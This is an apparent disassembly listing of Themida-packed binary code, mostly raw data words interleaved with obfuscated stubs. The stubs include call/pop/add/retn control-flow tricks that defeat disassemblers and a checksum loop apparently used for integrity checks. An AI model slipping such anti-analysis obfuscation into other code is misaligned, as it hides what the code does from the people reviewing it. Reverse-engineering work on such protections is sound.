		dd 0C18B4DDFh, 61858B60h, 61061411h, 8004E8C1h,	0F7667FDBh
		dd 56C82BE2h, 1B498D29h, 665F0614h, 0D18BFA8Bh,	11E8h
		dd 5B2CFE00h, 3B01E315h, 4A602DCh, 0A2F76793h, 8D296D41h
		dd 6140791h, 87E95Fh, 8D090000h, 6143111h, 53F78166h, 4858B1Bh
		dd 0F000000h, 0C083FEB7h, 6890F07h, 9000000h, 1430898Dh
		dd 0C08306h, 830FD03Bh,	0Dh, 52E9FA8Ah,	0B000000h, 142E419Dh
		dd 0FF8D8B06h, 89FFFFFFh, 1416EDB5h, 1E18306h, 37840Fh
		dd 89560000h, 140C71BDh, 0A5835B06h, 0FFFFFFFFh, 0B052BFFEh
		dd 95897A18h, 4, 13E9h,	0C7815500h, 7D4815FEh, 0FAB15CAAh
		dd 0F93FF519h, 47A5DFDFh, 0E9h,	0E1B58D00h, 6A06185Bh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 247CC355h, 0D3108194h, 6ADFE46Bh,	53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 9F08C831h, 0F9F3E33Fh, 0CE9h, 0D857EF00h, 0FD047864h
		dd 5F634140h, 69B5094Bh, 0FF06142Eh, 14116995h,	56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 0F52B911Bh, 6CACE899h, 24499D8Bh, 0CFB90614h, 6A000010h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 0D35CC356h, 6A8EB9B7h, 0BF90FBD7h, 5F34B157h
		dd 6AFCE183h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 0A774C350h, 4E783EE6h,	899D8B1Ch
		dd 8006141Ch, 6AFC9EE3h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 78CBC355h, 0E5628B55h
		dd 56BB6634h, 959D2BCEh, 0B8061403h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_596DC7
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_596DC7	proc near		; CODE XREF: Themida_:00596DBFp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_596DC7	endp

; ---------------------------------------------------------------------------
		db 57h
		dd 0BA14h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 0FC9A2C3h, 689h,	0E19D8900h, 0AD061423h
		dd 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0BEB4C351h
		dd 7D5E50Dh, 5E8h, 4F01AF00h, 0BD89533Fh, 61419D5h, 56006A5Bh
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 0E80D6DD3h, 9, 0ED4EEBC7h, 6ABF724Bh, 0EE960AEh, 0C000000h
		dd 8B849439h, 0B77ADC93h, 56D60656h, 0C6CC8017h, 880D5B61h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 8BE8C350h, 14322995h, 0D1B50906h
		dd 0F061403h, 8D8BF8B7h, 614064Dh, 0C28B50FCh, 0C103188Bh
		dd 0C18B188Bh, 0C203E8D1h, 3358188Bh, 1419D19Dh, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 0BD71D075h, 1591BD8Bh, 0BF660614h, 0BD835717h, 61429ADh
		dd 55840F00h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 4511C350h, 0B858A3h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 4365C350h, 798D8DD7h, 906144Dh
		dd 1410D58Dh, 0E3816606h, 0E1FF4E8Bh, 2671BD83h, 0F000614h
		dd 40F84h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 47AF34Eh,	2ACF4877h, 0B5890CA7h
		dd 6142A15h, 350D9D8Bh,	0BD830614h, 6142671h, 0EC840F01h
		dd 31000003h, 1434E98Dh, 71BD8306h, 3061426h, 3A3860Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 0F8455C3h, 687h, 2D958900h, 6006140Dh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0B8C35747h, 0D98C66B8h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0EFC35747h
		dd 0E1809D1Ah, 0FE904h,	85030000h, 0EED2396h, 0D5333C20h
		dd 0A13F6DE5h, 0FC90ABDh, 15D84h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 4650FD94h
		dd 0E9196DC7h, 0Ah, 0C9ADBCE1h,	225F0422h, 858BFECAh, 6141969h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 37C35646h
		dd 0E9998A94h, 0Bh, 707B7D4Bh, 4B6BB8E0h, 332BD1C0h, 141B8185h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 0B8DD3344h, 90F88B66h, 6050DA8Ah, 0FE8h
		dd 2B390D00h, 941C479Dh, 768102D9h, 38897B94h, 665A6160h
		dd 615B3DBAh, 51006A90h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1504h, 0C3514100h, 6A0C0Dh, 8599D01h, 25680614h, 0E8B7B885h
		dd 14h,	0E07EF6CDh, 5CC606C6h, 88612B0Dh, 3B80E621h, 0A99C518Dh
		dd 61605250h, 0DD8A310Fh, 815B585Ah, 7EDA2404h,	6A4866h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 0F93FF5C3h, 47A5DFDFh, 25BD8BD4h, 0FF06142Bh, 1409AD95h
		dd 0D1BD8B06h, 89061412h, 17AA9885h, 16CE906h, 13E90000h
		dd 75000000h, 0D93880EDh, 51B6BF6Eh, 26094397h,	0E740B3A3h
		dd 858B870Bh, 617AA90h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 14h, 0F3C35040h, 0EB177BBh, 1800C75Bh, 89000000h
		dd 14053595h, 94B58B06h, 290617AAh, 1410B59Dh, 29858B06h
		dd 8906140Bh, 0B5BD8B06h, 8B06142Ch, 14196985h,	895FBB06h
		dd 0BF0F7FA0h, 44689D9h, 50FFBF0Fh, 16870Fh, 11E90000h
		dd 0C5000000h, 0C5085EE2h, 0EC52CBD6h, 17CA55E1h, 0EDB797E5h
		dd 6A243489h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 24D4C357h, 7E3653ECh, 0A5BD2920h
		dd 0FF06141Ch, 17AA90B5h, 5D9D3306h, 68061423h,	0DCDA5D0Fh
		dd 48198B3h, 44A6F024h,	6880F23h, 0F000000h, 8Dh, 98858D00h
		dd 6A0617AAh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 4D0CC350h, 75EB8474h, 0A5A1A5BFh
		dd 5660506Bh, 0BC3EBA66h, 0C0BB6659h, 48961C0h,	56006A24h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 221B9A3Ch, 55A9126Eh, 9D89DAC2h, 6142F9Dh, 0BE9h, 2ACB0E00h
		dd 0D015B6CBh, 77219BD1h, 9AD95FFh, 89510614h, 14199DB5h
		dd 6A615B06h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 66ABC351h, 0C7B7D9BFh,	14267185h
		dd 306h, 6EE78100h, 832AB7F3h, 17AA98BDh, 840F0006h, 2Dh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0AFC35242h
		dd 0BF66521Dh, 21E944F2h, 0B000000h, 141621BDh,	0C305006h
		dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h
		dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h
		dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h
		dd 1116428h, 83110430h,	0E77504E9h, 0C08B00EBh,	0DE9h
		dd 37DD8000h, 78162642h, 0E66C73F6h, 6A6625h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0C63CA5C3h
		dd 83FEBF0Fh, 142671BDh, 850F0306h, 403h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Bh, 17C35141h, 71A287C4h
		dd 66E44BFFh, 895721BBh, 140639B5h, 98BD8306h, 617AAh
		dd 3C9840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 18ED7C3h, 141B6D85h, 98B5FF06h
		dd 0F50617AAh, 10E9BD8Bh, 95FF0614h, 6142AF5h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0EAC35343h, 83B9BF52h
		dd 8B5F3B8Eh, 17AA8CB5h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 44E8610Bh, 8B60BB84h
		dd 1421E5BDh, 6CB96606h, 6C761CFh, 10001h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0D0C35343h, 74392C44h
		dd 0E7C47750h, 0D4DBD01h, 0E9500614h, 0Bh, 0EDDBB575h
		dd 0E301FB96h, 89BB82CDh, 0BF662434h, 0B5FF387Ah, 617AA98h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 67C35242h
		dd 90E018BDh, 0E9D3816Bh, 0FF72A5DCh, 140B3195h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 961EA16Eh, 9DF891F6h, 8D0FA306h, 6, 30C59D03h, 0B58B0614h
		dd 617AA8Ch, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 17h,	97C35242h, 0E9ECF231h, 8, 97990A3Dh, 0ED9450FBh
		dd 6799D29h, 858B0614h,	61421D5h, 1C259589h, 86890614h
		dd 0C4h, 8699D8Bh, 958B0614h, 6143229h,	0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 15h
		dd 65C35040h, 99D89CAh,	83061411h, 6A04C2h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 0F99904C3h
		dd 0AE8h, 553DC400h, 0DAB13CBEh, 8BAC4C15h, 50895FFBh
		dd 51006A20h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 0F8FD2CC8h, 97572F9h, 0BE06858Dh, 66500617h
		dd 895BDE8Bh, 0B886h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1D04h, 0C3524200h, 6BA4707Fh, 9447E507h
		dd 0BF0F039Ah, 0F006ADEh, 0B5FFFEB7h, 617AA98h,	0F1BD0Bh
		dd 0FFFC0614h, 14093995h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 0FFB70FCDh
		dd 79BB6696h, 0F9650C9h, 0B5FFFEBFh, 617AA98h, 29BD8956h
		dd 5F061405h, 20F595FFh, 6A0614h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 6BE337C3h, 6499D2Bh
		dd 0BD830614h, 6140C21h, 23840F00h, 80000000h, 669679C7h
		dd 50D4B6BFh, 11E9h, 20B53800h,	0A71F97DDh, 91E5C1ABh
		dd 7178274Dh, 0F96EBD5h, 0B5FFDAB7h, 617AA98h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0C1C35646h, 94EF7E9Fh
		dd 0CE8630A2h, 68C0F91h, 9000000h, 141475B5h, 0B195FF06h
		dd 6A061402h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 0ABDC355h, 98B5FFF5h, 600617AAh
		dd 1B61858Bh, 8D890614h, 6140289h, 8195FF61h, 6A061430h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 0FBA7C355h, 0AEAE21C0h, 9F5BD83h,	0F020614h
		dd 2A84h, 4D9D8B00h, 8B06141Bh,	142D0185h, 13E806h, 0A0020000h
		dd 0A344E5F2h, 0FF5A9089h, 712F27FAh, 51AA1042h, 5FA3B7A3h
		dd 0C70000C6h, 14244D85h, 6, 0F99D8B00h, 0E9061423h, 0FFFFF329h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0DFC35343h
		dd 163113E4h, 880FDFE1h, 6, 58D9D89h, 8BF50614h, 79B589C1h
; ---------------------------------------------------------------------------
		add	edx, [esi+eax]


loc_597837:				; CODE XREF: Themida_:loc_596A09j
		lea	eax, [ebp+6140F99h]
		push	esi
		or	ebx, 5104EF66h
		pop	ebx
		nop
		mov	bx, ax
		push	eax
		jmp	loc_597862
; ---------------------------------------------------------------------------
		db 31h
		dd 5DD2B47Bh, 211A2B30h, 2758540h, 79E74E05h
		db 0C6h, 1Dh
; ---------------------------------------------------------------------------


loc_597862:				; CODE XREF: Themida_:0059784Aj
		nop
		push	0
		push	ebx
		call	sub_59786E
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59786E	proc near		; CODE XREF: Themida_:00597866p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ah
		inc	ebx
		push	ebx
		retn
sub_59786E	endp

; ---------------------------------------------------------------------------
		sub	[esi+283A045Fh], edx
		or	eax, 6A006Ah
		push	0
		push	edx
		call	sub_597894
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_597894	proc near		; CODE XREF: Themida_:0059788Cp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_597894	endp

; ---------------------------------------------------------------------------
		dd 610904C4h, 0FFBA0FFEh, 0DE91Ah, 5EC60000h, 0B2420B04h
		dd 49E29EB7h, 8BEC5838h, 1414FDBDh, 46858D06h, 8B0618EEh
		dd 1413859Dh, 5C08306h,	0B17FBB66h, 5B536050h, 89618BB3h
		dd 81662404h, 6AC653DBh, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 9E92CC89h, 0DB354FD7h
		dd 0BF66FA8Bh, 8B601769h, 142F299Dh, 0BE906h, 0FE6E0000h
		dd 64730EFEh, 0B72BCB75h, 6A61A1h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 0A8C35646h,	7195FF8Ch, 8B06141Ah
		dd 0FC8D8DF9h, 6A0617A8h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 11DBC355h, 635D0B9h
		dd 0D1FF740Bh, 14E8h, 3A6CC700h, 7F52E440h, 3CB7E095h
		dd 0B73D9EF8h, 6186ADF3h, 9D8B565Dh, 6142425h, 0BD835B5Bh
		dd 61412CDh, 7A850F01h,	0FC000000h, 6A026Ah, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0E94120C3h
		dd 13h,	327CF8BAh, 0ED32BEF3h, 85D22C47h, 0ADE321CFh, 31DD1EF6h
		dd 140C6185h, 6E95006h,	0AC000000h, 0B1950667h,	24048951h
		dd 93995FFh, 6A0614h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 9B8627C3h, 945477Ch, 143521B5h
		dd 0E28E906h, 0E80000h,	5D000000h, 0EE50ED81h, 6A0618h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 0A0228DC3h, 2FB99589h, 840F0614h, 13h, 0EE9h, 5243CA00h
		dd 8543B374h, 0F9F58BD6h, 6ABE1255h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 8C17C356h
		dd 3F9BD8Bh, 9D290614h,	6142259h, 9623858Dh, 6A0617h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 0F6DDF9C3h, 0F7801CEh, 0E990D8B7h, 0Fh, 0EE9CA00Ch
		dd 0B532D61Ah, 0FA1BD232h, 50FB914Bh, 0EE8h, 11D1A600h
		dd 0AB51A57h, 0E9CEAE81h, 52047E32h, 0F07D4BBFh, 905F5F44h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 1CC35646h
		dd 35FF64h, 64000000h, 2589h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 8DC5B9C3h
		dd 65DAE12Bh, 0DB80BBCBh, 12E83Ah
		db 2 dup(0)
word_597B4E	dw 0BA32h		; DATA XREF: Themida_:00549ACCo
		dd 0A2BDE184h, 0C453DABFh, 51675D33h, 7B8BC36h,	68B0Fh
		dd 0BD230000h, 6140B95h, 6D85FF5Fh, 6A061423h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 0A477C356h, 0EDBD0950h, 0F06140Eh, 68Ah, 0C58D8900h
		dd 6A061404h, 0F9BF0FFFh, 2EA18589h, 0B5FF0614h, 6140669h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 4CC35646h
		dd 0F7CF8136h, 0FF2F26E9h, 142B1995h, 0DEE906h,	0B0F80000h
		dd 0F7816600h, 70E6B916h, 6810Fh, 85090000h, 61401D5h
		dd 0C78071E4h, 0F613CD7h, 0BB83h, 8E900h, 9F30000h, 0AEE8C76h
		dd 0B60F2F6Ch, 9EFCBBC8h, 42B74D7Bh, 6BAh, 4A30BF00h, 0C18B18F5h
		dd 8B04E8C1h, 140CF5BDh, 0E2F76606h, 85316053h,	6142F91h
		dd 61F18B66h, 8BC82B5Bh, 1401AD9Dh, 8BD18B06h, 6EE9F8h
		dd 858B0000h, 5F4C4C44h, 0C083FD8Ah, 8D958907h,	83061406h
		dd 0BD8900C0h, 6141705h, 0D03B62B7h, 8830Fh, 0B70F0000h
		dd 42E9F9h, 8D8B0000h, 0FFFFFFFFh, 0BE9h, 0D11C7200h, 0C2B28F4Fh
		dd 0C9EAD3E1h, 0F01E183h, 2384h, 0A583F900h, 0FFFFFFFFh
		dd 6870FFEh, 9000000h, 1425AD95h, 44958906h, 0FC5F4C4Ch
		dd 0E9FBBF0Fh, 0
; ---------------------------------------------------------------------------
		lea	esi, [ebp+6186CB0h]
		mov	edi, ecx
		clc
		push	0
		xor	[ebp+6142185h],	esi
		call	dword ptr [ebp+6141169h]
		push	0
		push	ecx
		call	sub_597CE2
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_597CE2	proc near		; CODE XREF: Themida_:00597CDAp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 15h
		inc	ecx
		push	ecx
		retn
sub_597CE2	endp

; ---------------------------------------------------------------------------
		adc	[ecx], bl
		clc
		mov	di, 0EC3Ch
		sub	edi, 445228FCh
		mov	ecx, 0FD2h
		mov	[ebp+6142295h],	ecx
		and	ecx, 0FFFFFFFCh
		push	0
		push	esi
		call	sub_597D18
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_597D18	proc near		; CODE XREF: Themida_:00597D10p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_597D18	endp

; ---------------------------------------------------------------------------
		xor	bh, bh
		mov	edi, [ebp+614348Dh]
		add	bl, 98h
		cld
		mov	[ebp+6140791h],	edx
		sub	eax, eax
		mov	di, cx
		mov	edx, 0
		mov	[ebp+61406E9h],	esi


loc_597D4A:				; CODE XREF: Themida_:00597D54j
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_597D4A
		push	0
		push	eax
		call	sub_597D61
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_597D61	proc near		; CODE XREF: Themida_:00597D59p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_597D61	endp

; ---------------------------------------------------------------------------
		xor	bl, [esi]
		mov	eax, ds:893CC5EEh
		mov	ch, 71h
		sbb	[esi+eax], edx
		movsx	ebx, cx
		jmp	loc_597D92
; ---------------------------------------------------------------------------
		db 0B9h, 59h, 83h
		dd 56A42D83h, 0B3D25A05h
		db 61h,	80h
; ---------------------------------------------------------------------------


loc_597D92:				; CODE XREF: Themida_:00597D80j
		or	eax, 88h
		xor	di, 69C5h
		mov	edx, [ebp+6143229h]
		push	0
		push	edx
		call	sub_597DAD
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_597DAD	proc near		; CODE XREF: Themida_:00597DA5p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_597DAD	endp

; ---------------------------------------------------------------------------
		db 1Eh,	72h, 14h
		dd 0E1FEFB75h, 8B7107B7h, 1423A59Dh, 21958906h,	8B06142Ch
		dd 14064D8Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1704h, 0C3554500h, 0FCEF96B9h, 0E3D9D8Bh, 8B500614h
		dd 3188BC2h, 8B188BC1h,	3E8D1C1h, 58188BC2h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 7AC35040h, 0E2E81FB2h
		dd 0F5C55923h, 1B6D8529h, 0BD830614h, 61429ADh,	7A840F00h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 8B23C357h, 0B8DEh, 0E7810000h
		dd 5109AFC0h, 4D798D8Dh, 6A0614h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 0EE2AE4C3h, 34EF1E78h
		dd 2F6D9D01h, 0E1FF0614h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 18h, 5CC35141h, 0D3A80EE5h, 71BD83F5h, 61426h
		dd 491840Fh, 0BD830000h, 6142671h, 9F840F01h, 6A000004h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 0B1B0C356h, 238E10E6h, 12E9h, 2F717200h
		dd 0B1F4579Bh, 541512E2h, 0B93B8C39h, 830123CAh, 142671BDh
		dd 860F0306h, 424h, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 87C35040h, 2BDBCBC5h,	6049B627h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 9FC35646h, 739390B8h
		dd 0B662425Bh, 0D98C66DEh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 17h, 56C35747h, 661323FCh,	805F53BBh, 9D8B04E1h
		dd 61429F9h, 840FC90Ah,	122h, 1BE9BD0Bh, 858B0614h, 6141969h
		dd 5E9h, 656E5F00h, 85330F07h, 6141B81h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 1Bh, 8AC35040h, 0A0DB22D6h
		dd 894BD4D5h, 1401D5BDh, 5F515006h, 6A240489h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 0E94FC350h, 0D98B28E1h, 0FFBBF0Fh, 6AD8BFh, 9D89DF8Bh
		dd 6140311h, 17D21B68h,	2E24BBE0h, 481074Ch, 731E424h
		dd 52006A20h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 181D6DE3h, 32EA9240h, 0BD8B5161h, 6140575h
		dd 0BC9BD8Bh, 95FF0614h, 61409ADh, 81D9BF0Fh, 0A29BE7E7h
		dd 98858965h, 6A0617AAh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 2D2AC351h, 0CBF38166h
		dd 59BD8BBBh, 0E9061429h, 231h,	13E85660h, 0A0000000h
		dd 0D5E76A7Eh, 357D3501h, 0F96DA781h, 22344C1Dh, 5B5ABEC1h
		dd 0A9E88166h, 858B61DDh, 617AA90h, 6840Fh, 9D890000h
		dd 6142955h, 0EF18501h,	0C70614h, 18h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 44C35545h, 2BC52750h, 0DA8B9699h
		dd 0AA94B58Bh, 95090617h, 61431D9h, 0B29858Bh, 6A0614h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 0EE78DEC3h, 0D15BD8Bh, 6890614h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 1AC35646h, 2CDB19BBh, 69858B4Bh
		dd 6A061419h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 66C2C355h, 8878A87Dh, 55CE827Eh
		dd 6A044689h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 426FC352h, 0BF0F89AEh,	0AE9FBh
		dd 74B40000h, 699149EDh, 2E687471h, 50DA8B96h, 31BF6696h
		dd 90B5FF59h, 890617AAh, 1408ED95h, 5BD8B06h, 0E806140Fh
		dd 4, 1F03FFh, 50DE8B66h, 424448Bh, 5250008Bh, 3880Fh
		dd 8B660000h, 52310FD9h, 89585A5Bh, 58042444h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0B8C35343h, 4820Fh
		dd 0BF660000h, 858DF856h, 617AA98h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 0F4C35040h,	8968B5F0h, 0E0E82D3Fh
		dd 7AA8BB66h, 0E9525050h, 0Eh, 8C334521h, 0E28FFF95h, 7474FD90h
		dd 310F3F2Dh, 13E8h, 184C2100h,	652179h, 77106531h, 0E7F71204h
		dd 3B3254D8h, 5A5F5B51h, 24048958h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 0C1C35646h,	26DF8166h, 188E0F50h
		dd 0E8000000h, 0Dh, 0F5D83EC6h,	458A0A8h, 0A8AE93DDh, 4F09BB73h
		dd 0FF5B5C0Bh, 1409AD95h, 85C76106h, 6142671h, 3, 7BEB8166h
		dd 98BD8356h, 617AAh, 56840Fh, 6A0000h,	3E857h,	5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0BD3197C3h
		dd 6140791h, 4AE9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 0BD8B20E8h, 61430F5h
		dd 0EABB6652h, 0BD895FC4h, 614321Dh, 110C3050h,	1114400h
		dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 0DAADC357h, 0C2891519h, 9D8BC886h, 6140385h,	0C860Fh
		dd 8C0F0000h, 6, 0A2A6DF81h, 0BD834102h, 6142671h, 10850F03h
		dd 6A000004h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 0E995C357h, 5221432Fh,	0B959D8Bh
		dd 835F0614h, 17AA98BDh, 840F0006h, 3DBh, 789B531h, 0B5FF0614h
		dd 617AA98h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Dh,	0A3C35242h, 51DC005Ah, 4F1B4D5Dh, 0F595FF29h, 8006142Ah
		dd 0B58BB5C7h, 617AA8Ch, 4AD9D29h, 6C70614h, 10001h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 42C35343h, 8B5096AEh
		dd 0B7505FD8h, 6A960Eh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 0D6D79FC3h, 0F8B70F60h, 1850Fh
		dd 61FC0000h, 0AA98B5FFh, 6E90617h, 4C000000h, 0D204B7B8h
		dd 3195FF0Dh, 8906140Bh, 140CB9BDh, 8CB58B06h, 0F0617AAh
		dd 28Ah, 8BD3B700h, 1421D585h, 51006A06h, 3E8h,	0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 1BE959AFh
		dd 0F31B5ABh, 481h, 8CBF6600h, 0C4868964h, 89000000h, 1409E99Dh
		dd 29958B06h, 6A061432h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 2F3C351h, 8BE3EFA3h
		dd 0C283F8FAh, 52006A04h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 0BF66F812h, 5089678Dh
